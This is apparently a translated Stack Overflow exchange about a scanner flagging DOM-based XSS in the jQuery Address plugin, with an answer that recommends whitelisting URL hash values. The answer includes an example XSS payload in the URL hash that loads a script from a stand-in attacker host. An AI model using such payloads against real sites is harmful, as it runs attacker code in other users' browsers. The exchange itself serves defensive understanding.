1

最近、自分のサイトでセキュリティ スキャンを実行したところ、使用されている JS ファイルの 1 つに DOM クロス サイト スクリプティングの問題があるというフラグが付けられました。修正方法がわかりません。

ファイル: jquery.address1.4.js

フラグが付けられたコード部分のスクリプトは次のとおりです。

_supported = 
            (_mozilla && _version >= 1) || 
            (_msie && _version >= 6) ||
            (_opera && _version >= 9.5) ||
            (_webkit && _version >= 523);

        if (_supported) {
            if (_opera) {
                history.navigationMode = 'compatible';
            }
            if (document.readyState == 'complete') {
                var interval = setInterval(function() {
                    if ($.address) {
                        _load();
                        clearInterval(interval);
                    }
                }, 50);
            } else {
                _options();
                $(_load);
            }
            $(window).bind('popstate', _popstate).bind('unload', _unload);            
        } else if (!_supported && _hrefHash() !== '') {
            _l.replace(_l.href.substr(0, _l.href.indexOf('#')));
        } else {
            _track();
        }

これであるコード行:

_l.replace(_l.href.substr(0, _l.href.indexOf('#')));

スキャンは入力をサニタイズするように言っていますが、サイトに「入力」がないため、それが何を指しているのかわかりません. 上記のコードを修正して、セキュリティ スキャンを通過できるようにするにはどうすればよいですか?

編集:これは _l の値です

_l = _t.location,

から:

_window = function() {
                try {
                    return top.document !== UNDEFINED ? top : window;
                } catch (e) { 
                    return window;
                }
            },

ID = 'jQueryAddress',
            STRING = 'string',
            HASH_CHANGE = 'hashchange',
            INIT = 'init',
            CHANGE = 'change',
            INTERNAL_CHANGE = 'internalChange',
            EXTERNAL_CHANGE = 'externalChange',
            TRUE = true,
            FALSE = false,
            _opts = {
                autoUpdate: TRUE, 
                crawlable: FALSE,
                history: TRUE, 
                strict: TRUE,
                wrap: FALSE
            },
            _browser = $.browser, 
            _version = parseFloat($.browser.version),
            _mozilla = _browser.mozilla,
            _msie = _browser.msie,
            _opera = _browser.opera,
            _webkit = _browser.webkit || _browser.safari,
            _supported = FALSE,
            _t = _window(),
            _d = _t.document,
            _h = _t.history, 
            _l = _t.location,
            _si = setInterval,
            _st = setTimeout,
            _re = /\/{2,9}/g,
            _agent = navigator.userAgent,            
            _frame,
            _form,
            _url = _search(document),
            _qi = _url ? _url.indexOf('?') : -1,
            _title = _d.title, 
            _silent = FALSE,
            _loaded = FALSE,
            _justset = TRUE,
            _juststart = TRUE,
            _updating = FALSE,
            _listeners = {}, 
            _value = _href();
4

1 に答える 1

0

この例のサニタイズされていない値は、URL から取得されたハッシュ値になります。URL の先頭にある「#」の値はすべてサニタイズして、攻撃者がそのコンテキストで独自の JavaScript を提供できないようにする必要があります。

この値が明示的なユーザー提供の「入力」ではない可能性があるという理由だけで、悪意のあるユーザーが次のような悪意のある値を提供することを防ぐことはできません。

#"><script src=http://badguy.com/xss.js />

これは、他のユーザーのコンテキストで実行されます。

この例の有効な防御、または入力のサニタイズは、ホワイトリスト アプローチです。# には既知の値のみを受け入れ、攻撃者が提供する可能性のあるものは許可しません。

これは、DOM ベースの XSS に対する防御に関する優れたリソースですhttps://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheetを一読することをお勧めします。

于 2013-03-01T23:46:36.610 に答える